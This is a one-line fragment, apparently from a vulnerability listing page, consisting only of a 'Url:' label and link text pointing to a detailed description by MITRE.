Url:	Open detailed description by Mitre